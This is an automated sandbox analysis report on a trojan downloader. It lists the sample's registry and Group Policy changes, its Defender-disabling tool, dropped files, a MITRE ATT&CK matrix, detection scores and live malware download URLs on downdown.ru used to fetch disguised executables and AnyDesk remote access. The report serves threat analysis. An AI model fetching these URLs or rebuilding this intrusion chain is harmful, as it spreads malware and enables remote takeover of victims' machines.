Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation

Source: C:\Intel\curl.exe

Code function: 34_2_002CEDCF GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

34_2_002CEDCF

Source: C:\Intel\curl.exe

Code function: 34_2_002CC584 GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

34_2_002CC584

Source: C:\Intel\curl.exe

Code function: 34_2_0022AC50 GetStdHandle,GetFileType,GetVersion,RegisterEventSourceA,ReportEventA,DeregisterEventSource,MessageBoxA,

34_2_0022AC50

Source: C:\Intel\svchost.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Disables DEP (Data Execution Prevention) for certain images

Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers DisableNXShowUI			Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers DisableNXShowUI			Jump to behavior

Modifies Group Policy settings

Source: C:\Intel\dc.exe

File written: C:\Windows\System32\GroupPolicy\gpt.ini

Modifies power options to not sleep / hibernate

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -change -standby-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -change -hibernate-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -change -standby-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -change -hibernate-timeout-ac 0

Source: AnyDesk.exe, 00000036.00000000.20555806082.000000000165A000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: release/win_8.0.14
Source: AnyDesk.exe, 00000036.00000000.20555806082.000000000165A000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: .itext.text.custom3b1bfbef334434f66640155f39e4c33brelease/win_8.0.1413967ce7c71d8c19a49dd697dbd0dec1c8d166bf
Source: svchost.exe, 0000002C.00000002.20487095875.000000000157A000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: 13967ce7c71d8c19a49dd697dbd0dec1c8d166bfrelease/win_8.0.143b1bfbef334434f66640155f39e4c33b
Source: svchost.exe, 0000002C.00000002.20482948709.000000000019B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: /dbd0dec1c8d166bfrelease/win_8.0.143b1bfbef334434f66640155f39e4c33b
Source: svchost.exe, 0000002A.00000002.20529019891.000000000019B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: *dbd0dec1c8d166bfrelease/win_8.0.143b1bfbef334434f66640155f39e4c33b

Source: C:\Intel\curl.exe	Code function: 34_2_001F80B0 bind,WSAGetLastError,	34_2_001F80B0
Source: C:\Intel\curl.exe	Code function: 34_2_001FC810 getsockname,WSAGetLastError,WSAGetLastError,htons,bind,WSAGetLastError,getsockname,WSAGetLastError,closesocket,getsockname,WSAGetLastError,listen,WSAGetLastError,htons,htons,	34_2_001FC810
Source: C:\Intel\curl.exe	Code function: 34_2_001DD110 htons,htons,htons,bind,htons,htons,bind,getsockname,WSAGetLastError,WSAGetLastError,	34_2_001DD110

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Spearphishing Link	421 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	21 Disable or Modify Tools	1 Credential API Hooking	2 System Time Discovery	Remote Services	11 Archive Collected Data	1 Data Obfuscation	Exfiltration Over Other Network Medium	11 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	41 Input Capture	1 Network Service Discovery	Remote Desktop Protocol	1 Credential API Hooking	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	1 Windows Service	1 Windows Service	3 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	41 Input Capture	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	212 Process Injection	1 Software Packing	NTDS	147 System Information Discovery	Distributed Component Object Model	Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	541 Security Software Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Registry Run Keys / Startup Folder	1 File Deletion	Cached Domain Credentials	331 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	25 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Masquerading	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	331 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	212 Process Injection	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Hidden Files and Directories	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Yv24LkKBY6.exe	65%	Virustotal		Browse
Yv24LkKBY6.exe	55%	ReversingLabs	Win32.Trojan.Generic
Yv24LkKBY6.exe	100%	Avira	TR/Dldr.Agent.jljtp
Yv24LkKBY6.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Intel\AnyDesk\AnyDesk.exe	100%	Avira	TR/Agent.nyvag
C:\Intel\svchost.exe	100%	Avira	TR/Agent.nyvag
C:\Intel\AnyDesk\AnyDesk.exe	50%	ReversingLabs	Win32.Trojan.Generic
C:\Intel\Trays\4t-min64.exe	0%	ReversingLabs
C:\Intel\Trays\7z.dll	0%	ReversingLabs
C:\Intel\Trays\ShellEh6055.dll	2%	ReversingLabs
C:\Intel\Trays\ShellEh6055x64.dll	3%	ReversingLabs
C:\Intel\Trays\Tray.dll	0%	ReversingLabs
C:\Intel\Trays\Trays.exe	4%	ReversingLabs
C:\Intel\Trays\delReg.exe	2%	ReversingLabs
C:\Intel\Trays\unins000.exe	4%	ReversingLabs
C:\Intel\blat.exe	0%	ReversingLabs
C:\Intel\curl.exe	3%	ReversingLabs
C:\Intel\dc.exe	50%	ReversingLabs	Win32.Hacktool.DisableDefender
C:\Intel\driver.exe	3%	ReversingLabs
C:\Intel\svchost.exe	50%	ReversingLabs	Win32.Trojan.Generic
C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\cache	0%	ReversingLabs
C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\download_cache	0%	ReversingLabs

Source	Detection	Scanner	Label
http://downdown.ru/wol.jpg8V	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/checkupdate.phpnia	0%	Avira URL Cloud	safe
http://downdown.ru/svchost.jpgC:	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/checkupdate.php8na	0%	Avira URL Cloud	safe
http://www.pdf-tools.com	0%	Avira URL Cloud	safe
http://downdown.ru/wol.jpgy	0%	Avira URL Cloud	safe
https://help.anydesk.com	0%	Avira URL Cloud	safe
http://downdown.ru/driver.jpg	100%	Avira URL Cloud	malware
http://downdown.ru/blat.jpg:	0%	Avira URL Cloud	safe
http://downdown.ru/wol.jpgWinsta0	0%	Avira URL Cloud	safe
http://www.innosetup.com/	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/files/4t-min.exe	0%	Avira URL Cloud	safe
https://help.anydesk.com/	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray_next.html03b	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray_faq.htmll2-37	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray.html	0%	Avira URL Cloud	safe
http://downdown.ru/blat.jpg	100%	Avira URL Cloud	malware
http://www.4t-niagara.com	0%	Avira URL Cloud	safe
http://downdown.ru/wol.j	0%	Avira URL Cloud	safe
http://downdown.ru/Trays.jpgC:	0%	Avira URL Cloud	safe
http://downdown.ru/blat.jpgs	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray_order.html03b	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray.html5	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/checkupdate.phz(	0%	Avira URL Cloud	safe
http://downdown.ru/wol.jpg.	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray_faq.htmllk	0%	Avira URL Cloud	safe
http://downdown.ru/svchost.jpg6S	0%	Avira URL Cloud	safe
http://downdown.ru/svchost.	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray_order.htmlU	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray.htmltmll	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray.htmlgestion...ACrei&	0%	Avira URL Cloud	safe
http://downdown.ru/driver.jpgC:	0%	Avira URL Cloud	safe
http://www.blat.net/h	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/checkupdate.phpb8	0%	Avira URL Cloud	safe
http://downdown.ru/Trays.jpgWinsta0	0%	Avira URL Cloud	safe
http://4t-niagara.com/webimage.html	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray_faq.html	0%	Avira URL Cloud	safe
http://downdown.ru/blat.jpgWinsta0	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray.htmltmll=	0%	Avira URL Cloud	safe
http://www.dk-soft.org/	0%	Avira URL Cloud	safe
http://downdown.ru/dc.jp	0%	Avira URL Cloud	safe
https://help.anydesk.com/HelpLinkInstallLocationAnyDesk	0%	Avira URL Cloud	safe
http://downdown.ru/wol.jpg;	0%	Avira URL Cloud	safe
http://downdown.ru/svchost.jpg	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
boot.net.anydesk.com	57.129.37.157	true	false	high
relay-30ea2fb5.net.anydesk.com	160.202.165.71	true	false	high
www.4t-niagara.com	94.23.158.211	true	false	unknown
downdown.ru	185.125.51.5	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://c.msn.com/c.gif?rnd=1736578471573&udc=true&pg.n=FRE&pg.t=dhp&pg.c=2083&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=f7b66e0f99774ee4994a9572d133a3c9&activityId=f7b66e0f99774ee4994a9572d133a3c9&d.imd=false&scr=1024x768&anoncknm=app_anon&issso=&aadState=0	false		high
http://downdown.ru/driver.jpg	true	Avira URL Cloud: malware	unknown
https://ntp.msn.com/edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1	false		high
https://pr-bh.ybp.yahoo.com/sync/msn?gdpr=0&gdpr_consent=	false		high
https://m.adnxs.com/seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D0136911D054E6BFC0E90846C04216AB7%26gdpr%3D0%26gdpr_consent%3D	false		high
https://srtb.msn.com/notify/viewed?rid=f7b66e0f99774ee4994a9572d133a3c9&r=resinfopane&i=6&p=edgechrntp&l=en-us&d=bing&b=Edg&a=087acc36-08c1-4daa-8dbd-3c1c710f7f4a&ii=1&c=15351574985914386683&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-resinfopane-6&ptid=edgechrntp-resinfopane-1&t=type.msft-content-card&dec=1-1	false		high
https://c.msn.com/c.gif?rnd=1736578471573&udc=true&pg.n=FRE&pg.t=dhp&pg.c=2083&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=f7b66e0f99774ee4994a9572d133a3c9&activityId=f7b66e0f99774ee4994a9572d133a3c9&d.imd=false&scr=1024x768&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=1FE748FF748B4324A916C66DF435B563&MUID=0136911D054E6BFC0E90846C04216AB7	false		high
https://ntp.msn.com/edge/ntp?locale=en-US&title=New+tab&OCID=MNHP_U531&enableForceCache=true	false		high
https://srtb.msn.com/notify/served?rid=f7b66e0f99774ee4994a9572d133a3c9&r=resinfopane&i=6&p=edgechrntp&l=en-us&d=bing&b=Edg&a=087acc36-08c1-4daa-8dbd-3c1c710f7f4a&ii=1&c=15351574985914386683&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-resinfopane-6&ptid=edgechrntp-resinfopane-1&t=type.msft-content-card&dec=1-1	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578515356&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://m.adnxs.com/mapuid?member=280&user=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D0136911D054E6BFC0E90846C04216AB7%2526gdpr%253D0%2526gdpr_consent%253D	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578485347&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true	false		high
http://downdown.ru/blat.jpg	true	Avira URL Cloud: malware	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578518356&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://srtb.msn.com/notify/served?rid=f7b66e0f99774ee4994a9572d133a3c9&r=infopane&i=3&p=edgechrntp&l=en-us&d=bing&b=Edg&a=dfa64b01-ec54-411d-97b5-76d005271c07&ii=1&c=2556969255498558843&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-infopane-3&ptid=edgechrntp-peekinfopane-1&t=type.msft-content-card&dec=1-1	false		high
https://srtb.msn.com/notify/served?rid=f7b66e0f99774ee4994a9572d133a3c9&r=river&i=1&p=edgechrntp&l=en-us&d=bing&b=Edg&a=13e49033-643c-448b-9c06-1bea332fabbe&ii=1&c=11891600591998607670&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-river-1&ptid=edgechrntp-peekriver-1&t=type.msft-content-card&dec=1-1	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578479355&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://m.adnxs.com/mapuid?member=280&user=0136911D054E6BFC0E90846C04216AB7;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D0136911D054E6BFC0E90846C04216AB7%2526gdpr%253D0%2526gdpr_consent%253D	false		high
